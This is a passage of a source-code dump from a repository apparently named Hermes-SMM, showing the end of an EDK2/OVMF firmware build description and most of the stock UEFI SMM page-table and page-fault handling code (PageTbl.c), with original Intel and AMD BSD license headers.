UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf 370 | 371 | # 372 | # Variable driver stack (SMM) 373 | # 374 | INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf 375 | INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf 376 | INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf 377 | INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf 378 | 379 | !else 380 | 381 | # 382 | # Variable driver stack (non-SMM) 383 | # 384 | INF OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf 385 | INF OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf 386 | INF MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf 387 | INF MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf 388 | !endif 389 | 390 | ################################################################################ 391 | 392 | [FV.FVMAIN_COMPACT] 393 | FvNameGuid = 48DB5E17-707C-472D-91CD-1613E7EF51B0 394 | FvAlignment = 16 395 | ERASE_POLARITY = 1 396 | MEMORY_MAPPED = TRUE 397 | STICKY_WRITE = TRUE 398 | LOCK_CAP = TRUE 399 | LOCK_STATUS = TRUE 400 | WRITE_DISABLED_CAP = TRUE 401 | WRITE_ENABLED_CAP = TRUE 402 | WRITE_STATUS = TRUE 403 | WRITE_LOCK_CAP = TRUE 404 | WRITE_LOCK_STATUS = TRUE 405 | READ_DISABLED_CAP = TRUE 406 | READ_ENABLED_CAP = TRUE 407 | READ_STATUS = TRUE 408 | READ_LOCK_CAP = TRUE 409 | READ_LOCK_STATUS = TRUE 410 | 411 | FILE FV_IMAGE = 9E21FD93-9C72-4c15-8C4B-E77F1DB2D792 { 412 | SECTION GUIDED EE4E5898-3914-4259-9D6E-DC7BD79403CF PROCESSING_REQUIRED = TRUE { 413 | # 414 | # These firmware volumes will have files placed in them uncompressed, 415 | # and then both firmware volumes will be compressed in a single 416 | # compression operation in order to achieve better overall compression. 417 | # 418 | SECTION FV_IMAGE = PEIFV 419 | SECTION FV_IMAGE = DXEFV 420 | } 421 | } 422 | 423 | !include DecomprScratchEnd.fdf.inc 424 | 425 | ################################################################################ 426 | 427 | [Rule.Common.SEC] 428 | FILE SEC = $(NAMED_GUID) { 429 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 430 | UI STRING ="$(MODULE_NAME)" Optional 431 | VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 432 | } 433 | 434 | [Rule.Common.PEI_CORE] 435 | FILE PEI_CORE = $(NAMED_GUID) { 436 | PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi 437 | UI STRING ="$(MODULE_NAME)" Optional 438 | VERSION STRING ="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 439 | } 440 | 441 | [Rule.Common.PEIM] 442 | FILE PEIM = $(NAMED_GUID) { 443 | PEI_DEPEX PEI_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex 444 | PE32 PE32 Align=Auto $(INF_OUTPUT)/$(MODULE_NAME).efi 445 | UI STRING="$(MODULE_NAME)" Optional 446 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 447 | } 448 | 449 | [Rule.Common.DXE_CORE] 450 | FILE DXE_CORE = $(NAMED_GUID) { 451 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 452 | UI STRING="$(MODULE_NAME)" Optional 453 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 454 | } 455 | 456 | [Rule.Common.DXE_DRIVER] 457 | FILE DRIVER = $(NAMED_GUID) { 458 | DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex 459 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 460 | UI STRING="$(MODULE_NAME)" Optional 461 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 462 | RAW ACPI Optional |.acpi 463 | RAW ASL Optional |.aml 464 | } 465 | 466 | [Rule.Common.DXE_RUNTIME_DRIVER] 467 | FILE DRIVER = $(NAMED_GUID) { 468 | DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex 469 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 470 | UI STRING="$(MODULE_NAME)" Optional 471 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 472 | } 473 | 474 | [Rule.Common.UEFI_DRIVER] 475 | FILE DRIVER = $(NAMED_GUID) { 476 | DXE_DEPEX DXE_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex 477 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 478 | UI STRING="$(MODULE_NAME)" Optional 479 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 480 | } 481 | 482 | [Rule.Common.UEFI_DRIVER.BINARY] 483 | FILE DRIVER = $(NAMED_GUID) { 484 | DXE_DEPEX DXE_DEPEX Optional |.depex 485 | PE32 PE32 |.efi 486 | UI STRING="$(MODULE_NAME)" Optional 487 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 488 | } 489 | 490 | [Rule.Common.UEFI_APPLICATION] 491 | FILE APPLICATION = $(NAMED_GUID) { 492 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 493 | UI STRING="$(MODULE_NAME)" Optional 494 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 495 | } 496 | 497 | [Rule.Common.UEFI_APPLICATION.BINARY] 498 | FILE APPLICATION = $(NAMED_GUID) { 499 | PE32 PE32 |.efi 500 | UI STRING="$(MODULE_NAME)" Optional 501 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 502 | } 503 | 504 | [Rule.Common.USER_DEFINED.ACPITABLE] 505 | FILE FREEFORM = $(NAMED_GUID) { 506 | RAW ACPI |.acpi 507 | RAW ASL |.aml 508 | } 509 | 510 | [Rule.Common.USER_DEFINED.CSM] 511 | FILE FREEFORM = $(NAMED_GUID) { 512 | RAW BIN |.bin 513 | } 514 | 515 | [Rule.Common.SEC.RESET_VECTOR] 516 | FILE RAW = $(NAMED_GUID) { 517 | RAW BIN Align = 16 |.bin 518 | } 519 | 520 | [Rule.Common.SMM_CORE] 521 | FILE SMM_CORE = $(NAMED_GUID) { 522 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 523 | UI STRING="$(MODULE_NAME)" Optional 524 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 525 | } 526 | 527 | [Rule.Common.DXE_SMM_DRIVER] 528 | FILE SMM = $(NAMED_GUID) { 529 | SMM_DEPEX SMM_DEPEX Optional $(INF_OUTPUT)/$(MODULE_NAME).depex 530 | PE32 PE32 $(INF_OUTPUT)/$(MODULE_NAME).efi 531 | UI STRING="$(MODULE_NAME)" Optional 532 | VERSION STRING="$(INF_VERSION)" Optional BUILD_NUM=$(BUILD_NUMBER) 533 | } 534 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c: -------------------------------------------------------------------------------- 1 | /** @file 2 | Page Fault (#PF) handler for X64 processors 3 | 4 | Copyright (c) 2009 - 2017, Intel Corporation. All rights reserved.
5 | Copyright (c) 2017, AMD Incorporated. All rights reserved.
6 | 7 | This program and the accompanying materials 8 | are licensed and made available under the terms and conditions of the BSD License 9 | which accompanies this distribution. The full text of the license may be found at 10 | http://opensource.org/licenses/bsd-license.php 11 | 12 | THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 13 | WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 14 | 15 | **/ 16 | 17 | #include "PiSmmCpuDxeSmm.h" 18 | 19 | #define PAGE_TABLE_PAGES 8 20 | #define ACC_MAX_BIT BIT3 21 | 22 | LIST_ENTRY mPagePool = INITIALIZE_LIST_HEAD_VARIABLE (mPagePool); 23 | BOOLEAN m1GPageTableSupport = FALSE; 24 | BOOLEAN mCpuSmmStaticPageTable; 25 | 26 | /** 27 | Check if 1-GByte pages is supported by processor or not. 28 | 29 | @retval TRUE 1-GByte pages is supported. 30 | @retval FALSE 1-GByte pages is not supported. 31 | 32 | **/ 33 | BOOLEAN 34 | Is1GPageSupport ( 35 | VOID 36 | ) 37 | { 38 | UINT32 RegEax; 39 | UINT32 RegEdx; 40 | 41 | AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL); 42 | if (RegEax >= 0x80000001) { 43 | AsmCpuid (0x80000001, NULL, NULL, NULL, &RegEdx); 44 | if ((RegEdx & BIT26) != 0) { 45 | return TRUE; 46 | } 47 | } 48 | return FALSE; 49 | } 50 | 51 | /** 52 | Set sub-entries number in entry. 53 | 54 | @param[in, out] Entry Pointer to entry 55 | @param[in] SubEntryNum Sub-entries number based on 0: 56 | 0 means there is 1 sub-entry under this entry 57 | 0x1ff means there is 512 sub-entries under this entry 58 | 59 | **/ 60 | VOID 61 | SetSubEntriesNum ( 62 | IN OUT UINT64 *Entry, 63 | IN UINT64 SubEntryNum 64 | ) 65 | { 66 | // 67 | // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry 68 | // 69 | *Entry = BitFieldWrite64 (*Entry, 52, 60, SubEntryNum); 70 | } 71 | 72 | /** 73 | Return sub-entries number in entry. 74 | 75 | @param[in] Entry Pointer to entry 76 | 77 | @return Sub-entries number based on 0: 78 | 0 means there is 1 sub-entry under this entry 79 | 0x1ff means there is 512 sub-entries under this entry 80 | **/ 81 | UINT64 82 | GetSubEntriesNum ( 83 | IN UINT64 *Entry 84 | ) 85 | { 86 | // 87 | // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry 88 | // 89 | return BitFieldRead64 (*Entry, 52, 60); 90 | } 91 | 92 | /** 93 | Calculate the maximum support address. 94 | 95 | @return the maximum support address. 96 | **/ 97 | UINT8 98 | CalculateMaximumSupportAddress ( 99 | VOID 100 | ) 101 | { 102 | UINT32 RegEax; 103 | UINT8 PhysicalAddressBits; 104 | VOID *Hob; 105 | 106 | // 107 | // Get physical address bits supported. 108 | // 109 | Hob = GetFirstHob (EFI_HOB_TYPE_CPU); 110 | if (Hob != NULL) { 111 | PhysicalAddressBits = ((EFI_HOB_CPU *) Hob)->SizeOfMemorySpace; 112 | } else { 113 | AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL); 114 | if (RegEax >= 0x80000008) { 115 | AsmCpuid (0x80000008, &RegEax, NULL, NULL, NULL); 116 | PhysicalAddressBits = (UINT8) RegEax; 117 | } else { 118 | PhysicalAddressBits = 36; 119 | } 120 | } 121 | 122 | // 123 | // IA-32e paging translates 48-bit linear addresses to 52-bit physical addresses. 124 | // 125 | ASSERT (PhysicalAddressBits <= 52); 126 | if (PhysicalAddressBits > 48) { 127 | PhysicalAddressBits = 48; 128 | } 129 | return PhysicalAddressBits; 130 | } 131 | 132 | /** 133 | Set static page table. 134 | 135 | @param[in] PageTable Address of page table. 136 | **/ 137 | VOID 138 | SetStaticPageTable ( 139 | IN UINTN PageTable 140 | ) 141 | { 142 | UINT64 PageAddress; 143 | UINTN NumberOfPml4EntriesNeeded; 144 | UINTN NumberOfPdpEntriesNeeded; 145 | UINTN IndexOfPml4Entries; 146 | UINTN IndexOfPdpEntries; 147 | UINTN IndexOfPageDirectoryEntries; 148 | UINT64 *PageMapLevel4Entry; 149 | UINT64 *PageMap; 150 | UINT64 *PageDirectoryPointerEntry; 151 | UINT64 *PageDirectory1GEntry; 152 | UINT64 *PageDirectoryEntry; 153 | 154 | if (mPhysicalAddressBits <= 39 ) { 155 | NumberOfPml4EntriesNeeded = 1; 156 | NumberOfPdpEntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 30)); 157 | } else { 158 | NumberOfPml4EntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 39)); 159 | NumberOfPdpEntriesNeeded = 512; 160 | } 161 | 162 | // 163 | // By architecture only one PageMapLevel4 exists - so lets allocate storage for it. 164 | // 165 | PageMap = (VOID *) PageTable; 166 | 167 | PageMapLevel4Entry = PageMap; 168 | PageAddress = 0; 169 | for (IndexOfPml4Entries = 0; IndexOfPml4Entries < NumberOfPml4EntriesNeeded; IndexOfPml4Entries++, PageMapLevel4Entry++) { 170 | // 171 | // Each PML4 entry points to a page of Page Directory Pointer entries. 172 | // 173 | PageDirectoryPointerEntry = (UINT64 *) ((*PageMapLevel4Entry) & ~mAddressEncMask & gPhyMask); 174 | if (PageDirectoryPointerEntry == NULL) { 175 | PageDirectoryPointerEntry = AllocatePageTableMemory (1); 176 | ASSERT(PageDirectoryPointerEntry != NULL); 177 | ZeroMem (PageDirectoryPointerEntry, EFI_PAGES_TO_SIZE(1)); 178 | 179 | *PageMapLevel4Entry = (UINT64)(UINTN)PageDirectoryPointerEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS; 180 | } 181 | 182 | if (m1GPageTableSupport) { 183 | PageDirectory1GEntry = PageDirectoryPointerEntry; 184 | for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectory1GEntry++, PageAddress += SIZE_1GB) { 185 | if (IndexOfPml4Entries == 0 && IndexOfPageDirectoryEntries < 4) { 186 | // 187 | // Skip the < 4G entries 188 | // 189 | continue; 190 | } 191 | // 192 | // Fill in the Page Directory entries 193 | // 194 | *PageDirectory1GEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS; 195 | } 196 | } else { 197 | PageAddress = BASE_4GB; 198 | for (IndexOfPdpEntries = 0; IndexOfPdpEntries < NumberOfPdpEntriesNeeded; IndexOfPdpEntries++, PageDirectoryPointerEntry++) { 199 | if (IndexOfPml4Entries == 0 && IndexOfPdpEntries < 4) { 200 | // 201 | // Skip the < 4G entries 202 | // 203 | continue; 204 | } 205 | // 206 | // Each Directory Pointer entries points to a page of Page Directory entires. 207 | // So allocate space for them and fill them in in the IndexOfPageDirectoryEntries loop. 208 | // 209 | PageDirectoryEntry = (UINT64 *) ((*PageDirectoryPointerEntry) & ~mAddressEncMask & gPhyMask); 210 | if (PageDirectoryEntry == NULL) { 211 | PageDirectoryEntry = AllocatePageTableMemory (1); 212 | ASSERT(PageDirectoryEntry != NULL); 213 | ZeroMem (PageDirectoryEntry, EFI_PAGES_TO_SIZE(1)); 214 | 215 | // 216 | // Fill in a Page Directory Pointer Entries 217 | // 218 | *PageDirectoryPointerEntry = (UINT64)(UINTN)PageDirectoryEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS; 219 | } 220 | 221 | for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectoryEntry++, PageAddress += SIZE_2MB) { 222 | // 223 | // Fill in the Page Directory entries 224 | // 225 | *PageDirectoryEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS; 226 | } 227 | } 228 | } 229 | } 230 | } 231 | 232 | /** 233 | Create PageTable for SMM use. 234 | 235 | @return The address of PML4 (to set CR3). 236 | 237 | **/ 238 | UINT32 239 | SmmInitPageTable ( 240 | VOID 241 | ) 242 | { 243 | EFI_PHYSICAL_ADDRESS Pages; 244 | UINT64 *PTEntry; 245 | LIST_ENTRY *FreePage; 246 | UINTN Index; 247 | UINTN PageFaultHandlerHookAddress; 248 | IA32_IDT_GATE_DESCRIPTOR *IdtEntry; 249 | EFI_STATUS Status; 250 | 251 | // 252 | // Initialize spin lock 253 | // 254 | InitializeSpinLock (mPFLock); 255 | 256 | mCpuSmmStaticPageTable = PcdGetBool (PcdCpuSmmStaticPageTable); 257 | m1GPageTableSupport = Is1GPageSupport (); 258 | DEBUG ((DEBUG_INFO, "1GPageTableSupport - 0x%x\n", m1GPageTableSupport)); 259 | DEBUG ((DEBUG_INFO, "PcdCpuSmmStaticPageTable - 0x%x\n", mCpuSmmStaticPageTable)); 260 | 261 | mPhysicalAddressBits = CalculateMaximumSupportAddress (); 262 | DEBUG ((DEBUG_INFO, "PhysicalAddressBits - 0x%x\n", mPhysicalAddressBits)); 263 | // 264 | // Generate PAE page table for the first 4GB memory space 265 | // 266 | Pages = Gen4GPageTable (FALSE); 267 | 268 | // 269 | // Set IA32_PG_PMNT bit to mask this entry 270 | // 271 | PTEntry = (UINT64*)(UINTN)Pages; 272 | for (Index = 0; Index < 4; Index++) { 273 | PTEntry[Index] |= IA32_PG_PMNT; 274 | } 275 | 276 | // 277 | // Fill Page-Table-Level4 (PML4) entry 278 | // 279 | PTEntry = (UINT64*)AllocatePageTableMemory (1); 280 | ASSERT (PTEntry != NULL); 281 | *PTEntry = Pages | mAddressEncMask | PAGE_ATTRIBUTE_BITS; 282 | ZeroMem (PTEntry + 1, EFI_PAGE_SIZE - sizeof (*PTEntry)); 283 | 284 | // 285 | // Set sub-entries number 286 | // 287 | SetSubEntriesNum (PTEntry, 3); 288 | 289 | if (mCpuSmmStaticPageTable) { 290 | SetStaticPageTable ((UINTN)PTEntry); 291 | } else { 292 | // 293 | // Add pages to page pool 294 | // 295 | FreePage = (LIST_ENTRY*)AllocatePageTableMemory (PAGE_TABLE_PAGES); 296 | ASSERT (FreePage != NULL); 297 | for (Index = 0; Index < PAGE_TABLE_PAGES; Index++) { 298 | InsertTailList (&mPagePool, FreePage); 299 | FreePage += EFI_PAGE_SIZE / sizeof (*FreePage); 300 | } 301 | } 302 | 303 | if (FeaturePcdGet (PcdCpuSmmProfileEnable)) { 304 | // 305 | // Set own Page Fault entry instead of the default one, because SMM Profile 306 | // feature depends on IRET instruction to do Single Step 307 | // 308 | PageFaultHandlerHookAddress = (UINTN)PageFaultIdtHandlerSmmProfile; 309 | IdtEntry = (IA32_IDT_GATE_DESCRIPTOR *) gcSmiIdtr.Base; 310 | IdtEntry += EXCEPT_IA32_PAGE_FAULT; 311 | IdtEntry->Bits.OffsetLow = (UINT16)PageFaultHandlerHookAddress; 312 | IdtEntry->Bits.Reserved_0 = 0; 313 | IdtEntry->Bits.GateType = IA32_IDT_GATE_TYPE_INTERRUPT_32; 314 | IdtEntry->Bits.OffsetHigh = (UINT16)(PageFaultHandlerHookAddress >> 16); 315 | IdtEntry->Bits.OffsetUpper = (UINT32)(PageFaultHandlerHookAddress >> 32); 316 | IdtEntry->Bits.Reserved_1 = 0; 317 | } else { 318 | // 319 | // Register Smm Page Fault Handler 320 | // 321 | Status = SmmRegisterExceptionHandler (&mSmmCpuService, EXCEPT_IA32_PAGE_FAULT, SmiPFHandler); 322 | ASSERT_EFI_ERROR (Status); 323 | } 324 | 325 | // 326 | // Additional SMM IDT initialization for SMM stack guard 327 | // 328 | if (FeaturePcdGet (PcdCpuSmmStackGuard)) { 329 | InitializeIDTSmmStackGuard (); 330 | } 331 | 332 | // 333 | // Return the address of PML4 (to set CR3) 334 | // 335 | return (UINT32)(UINTN)PTEntry; 336 | } 337 | 338 | /** 339 | Set access record in entry. 340 | 341 | @param[in, out] Entry Pointer to entry 342 | @param[in] Acc Access record value 343 | 344 | **/ 345 | VOID 346 | SetAccNum ( 347 | IN OUT UINT64 *Entry, 348 | IN UINT64 Acc 349 | ) 350 | { 351 | // 352 | // Access record is saved in BIT9 to BIT11 (reserved field) in Entry 353 | // 354 | *Entry = BitFieldWrite64 (*Entry, 9, 11, Acc); 355 | } 356 | 357 | /** 358 | Return access record in entry. 359 | 360 | @param[in] Entry Pointer to entry 361 | 362 | @return Access record value. 363 | 364 | **/ 365 | UINT64 366 | GetAccNum ( 367 | IN UINT64 *Entry 368 | ) 369 | { 370 | // 371 | // Access record is saved in BIT9 to BIT11 (reserved field) in Entry 372 | // 373 | return BitFieldRead64 (*Entry, 9, 11); 374 | } 375 | 376 | /** 377 | Return and update the access record in entry. 378 | 379 | @param[in, out] Entry Pointer to entry 380 | 381 | @return Access record value. 382 | 383 | **/ 384 | UINT64 385 | GetAndUpdateAccNum ( 386 | IN OUT UINT64 *Entry 387 | ) 388 | { 389 | UINT64 Acc; 390 | 391 | Acc = GetAccNum (Entry); 392 | if ((*Entry & IA32_PG_A) != 0) { 393 | // 394 | // If this entry has been accessed, clear access flag in Entry and update access record 395 | // to the initial value 7, adding ACC_MAX_BIT is to make it larger than others 396 | // 397 | *Entry &= ~(UINT64)(UINTN)IA32_PG_A; 398 | SetAccNum (Entry, 0x7); 399 | return (0x7 + ACC_MAX_BIT); 400 | } else { 401 | if (Acc != 0) { 402 | // 403 | // If the access record is not the smallest value 0, minus 1 and update the access record field 404 | // 405 | SetAccNum (Entry, Acc - 1); 406 | } 407 | } 408 | return Acc; 409 | } 410 | 411 | /** 412 | Reclaim free pages for PageFault handler. 413 | 414 | Search the whole entries tree to find the leaf entry that has the smallest 415 | access record value. Insert the page pointed by this leaf entry into the 416 | page pool. And check its upper entries if need to be inserted into the page 417 | pool or not. 418 | 419 | **/ 420 | VOID 421 | ReclaimPages ( 422 | VOID 423 | ) 424 | { 425 | UINT64 *Pml4; 426 | UINT64 *Pdpt; 427 | UINT64 *Pdt; 428 | UINTN Pml4Index; 429 | UINTN PdptIndex; 430 | UINTN PdtIndex; 431 | UINTN MinPml4; 432 | UINTN MinPdpt; 433 | UINTN MinPdt; 434 | UINT64 MinAcc; 435 | UINT64 Acc; 436 | UINT64 SubEntriesNum; 437 | BOOLEAN PML4EIgnore; 438 | BOOLEAN PDPTEIgnore; 439 | UINT64 *ReleasePageAddress; 440 | 441 | Pml4 = NULL; 442 | Pdpt = NULL; 443 | Pdt = NULL; 444 | MinAcc = (UINT64)-1; 445 | MinPml4 = (UINTN)-1; 446 | MinPdpt = (UINTN)-1; 447 | MinPdt = (UINTN)-1; 448 | Acc = 0; 449 | ReleasePageAddress = 0; 450 | 451 | // 452 | // First, find the leaf entry has the smallest access record value 453 | // 454 | Pml4 = (UINT64*)(UINTN)(AsmReadCr3 () & gPhyMask); 455 | for (Pml4Index = 0; Pml4Index < EFI_PAGE_SIZE / sizeof (*Pml4); Pml4Index++) { 456 | if ((Pml4[Pml4Index] & IA32_PG_P) == 0 || (Pml4[Pml4Index] & IA32_PG_PMNT) != 0) { 457 | // 458 | // If the PML4 entry is not present or is masked, skip it 459 | // 460 | continue; 461 | } 462 | Pdpt = (UINT64*)(UINTN)(Pml4[Pml4Index] & ~mAddressEncMask & gPhyMask); 463 | PML4EIgnore = FALSE; 464 | for (PdptIndex = 0; PdptIndex < EFI_PAGE_SIZE / sizeof (*Pdpt); PdptIndex++) { 465 | if ((Pdpt[PdptIndex] & IA32_PG_P) == 0 || (Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) { 466 | // 467 | // If the PDPT entry is not present or is masked, skip it 468 | // 469 | if ((Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) { 470 | // 471 | // If the PDPT entry is masked, we will ignore checking the PML4 entry 472 | // 473 | PML4EIgnore = TRUE; 474 | } 475 | continue; 476 | } 477 | if ((Pdpt[PdptIndex] & IA32_PG_PS) == 0) { 478 | // 479 | // It's not 1-GByte pages entry, it should be a PDPT entry, 480 | // we will not check PML4 entry more 481 | // 482 | PML4EIgnore = TRUE; 483 | Pdt = (UINT64*)(UINTN)(Pdpt[PdptIndex] & ~mAddressEncMask & gPhyMask); 484 | PDPTEIgnore = FALSE; 485 | for (PdtIndex = 0; PdtIndex < EFI_PAGE_SIZE / sizeof(*Pdt); PdtIndex++) { 486 | if ((Pdt[PdtIndex] & IA32_PG_P) == 0 || (Pdt[PdtIndex] & IA32_PG_PMNT) != 0) { 487 | // 488 | // If the PD entry is not present or is masked, skip it 489 | // 490 | if ((Pdt[PdtIndex] & IA32_PG_PMNT) != 0) { 491 | // 492 | // If the PD entry is masked, we will not PDPT entry more 493 | // 494 | PDPTEIgnore = TRUE; 495 | } 496 | continue; 497 | } 498 | if ((Pdt[PdtIndex] & IA32_PG_PS) == 0) { 499 | // 500 | // It's not 2 MByte page table entry, it should be PD entry 501 | // we will find the entry has the smallest access record value 502 | // 503 | PDPTEIgnore = TRUE; 504 | Acc = GetAndUpdateAccNum (Pdt + PdtIndex); 505 | if (Acc < MinAcc) { 506 | // 507 | // If the PD entry has the smallest access record value, 508 | // save the Page address to be released 509 | // 510 | MinAcc = Acc; 511 | MinPml4 = Pml4Index; 512 | MinPdpt = PdptIndex; 513 | MinPdt = PdtIndex; 514 | ReleasePageAddress = Pdt + PdtIndex; 515 | } 516 | } 517 | } 518 | if (!PDPTEIgnore) { 519 | // 520 | // If this PDPT entry has no PDT entries pointer to 4 KByte pages, 521 | // it should only has the entries point to 2 MByte Pages 522 | // 523 | Acc = GetAndUpdateAccNum (Pdpt + PdptIndex); 524 | if (Acc < MinAcc) { 525 | // 526 | // If the PDPT entry has the smallest access record value, 527 | // save the Page address to be released 528 | // 529 | MinAcc = Acc; 530 | MinPml4 = Pml4Index; 531 | MinPdpt = PdptIndex; 532 | MinPdt = (UINTN)-1; 533 | ReleasePageAddress = Pdpt + PdptIndex; 534 | } 535 | } 536 | } 537 | } 538 | if (!PML4EIgnore) { 539 | // 540 | // If PML4 entry has no the PDPT entry pointer to 2 MByte pages, 541 | // it should only has the entries point to 1 GByte Pages 542 | // 543 | Acc = GetAndUpdateAccNum (Pml4 + Pml4Index); 544 | if (Acc < MinAcc) { 545 | // 546 | // If the PML4 entry has the smallest access record value, 547 | // save the Page address to be released 548 | // 549 | MinAcc = Acc; 550 | MinPml4 = Pml4Index; 551 | MinPdpt = (UINTN)-1; 552 | MinPdt = (UINTN)-1; 553 | ReleasePageAddress = Pml4 + Pml4Index; 554 | } 555 | } 556 | } 557 | // 558 | // Make sure one PML4/PDPT/PD entry is selected 559 | // 560 | ASSERT (MinAcc != (UINT64)-1); 561 | 562 | // 563 | // Secondly, insert the page pointed by this entry into page pool and clear this entry 564 | // 565 | InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(*ReleasePageAddress & ~mAddressEncMask & gPhyMask)); 566 | *ReleasePageAddress = 0; 567 | 568 | // 569 | // Lastly, check this entry's upper entries if need to be inserted into page pool 570 | // or not 571 | // 572 | while (TRUE) { 573 | if (MinPdt != (UINTN)-1) { 574 | // 575 | // If 4 KByte Page Table is released, check the PDPT entry 576 | // 577 | Pdpt = (UINT64*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask); 578 | SubEntriesNum = GetSubEntriesNum(Pdpt + MinPdpt); 579 | if (SubEntriesNum == 0) { 580 | // 581 | // Release the empty Page Directory table if there was no more 4 KByte Page Table entry 582 | // clear the Page directory entry 583 | // 584 | InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pdpt[MinPdpt] & ~mAddressEncMask & gPhyMask)); 585 | Pdpt[MinPdpt] = 0; 586 | // 587 | // Go on checking the PML4 table 588 | // 589 | MinPdt = (UINTN)-1; 590 | continue; 591 | } 592 | // 593 | // Update the sub-entries filed in PDPT entry and exit 594 | // 595 | SetSubEntriesNum (Pdpt + MinPdpt, SubEntriesNum - 1); 596 | break; 597 | } 598 | if (MinPdpt != (UINTN)-1) { 599 | // 600 | // One 2MB Page Table is released or Page Directory table is released, check the PML4 entry 601 | // 602 | SubEntriesNum = GetSubEntriesNum (Pml4 + MinPml4); 603 | if (SubEntriesNum == 0) { 604 | // 605 | // Release the empty PML4 table if there was no more 1G KByte Page Table entry 606 | // clear the Page directory entry 607 | // 608 | InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask)); 609 | Pml4[MinPml4] = 0; 610 | MinPdpt = (UINTN)-1; 611 | continue; 612 | } 613 | // 614 | // Update the sub-entries filed in PML4 entry and exit 615 | // 616 | SetSubEntriesNum (Pml4 + MinPml4, SubEntriesNum - 1); 617 | break; 618 | } 619 | // 620 | // PLM4 table has been released before, exit it 621 | // 622 | break; 623 | } 624 | } 625 | 626 | /** 627 | Allocate free Page for PageFault handler use. 628 | 629 | @return Page address. 630 | 631 | **/ 632 | UINT64 633 | AllocPage ( 634 | VOID 635 | ) 636 | { 637 | UINT64 RetVal; 638 | 639 | if (IsListEmpty (&mPagePool)) { 640 | // 641 | // If page pool is empty, reclaim the used pages and insert one into page pool 642 | // 643 | ReclaimPages (); 644 | } 645 | 646 | // 647 | // Get one free page and remove it from page pool 648 | // 649 | RetVal = (UINT64)(UINTN)mPagePool.ForwardLink; 650 | RemoveEntryList (mPagePool.ForwardLink); 651 | // 652 | // Clean this page and return 653 | // 654 | ZeroMem ((VOID*)(UINTN)RetVal, EFI_PAGE_SIZE); 655 | return RetVal; 656 | } 657 | 658 | /** 659 | Page Fault handler for SMM use. 660 | 661 | **/ 662 | VOID 663 | SmiDefaultPFHandler ( 664 | VOID 665 | ) 666 | { 667 | UINT64 *PageTable; 668 | UINT64 *Pml4; 669 | UINT64 PFAddress; 670 | UINTN StartBit; 671 | UINTN EndBit; 672 | UINT64 PTIndex; 673 | UINTN Index; 674 | SMM_PAGE_SIZE_TYPE PageSize; 675 | UINTN NumOfPages; 676 | UINTN PageAttribute; 677 | EFI_STATUS Status; 678 | UINT64 *UpperEntry; 679 | 680 | // 681 | // Set default SMM page attribute 682 | // 683 | PageSize = SmmPageSize2M; 684 | NumOfPages = 1; 685 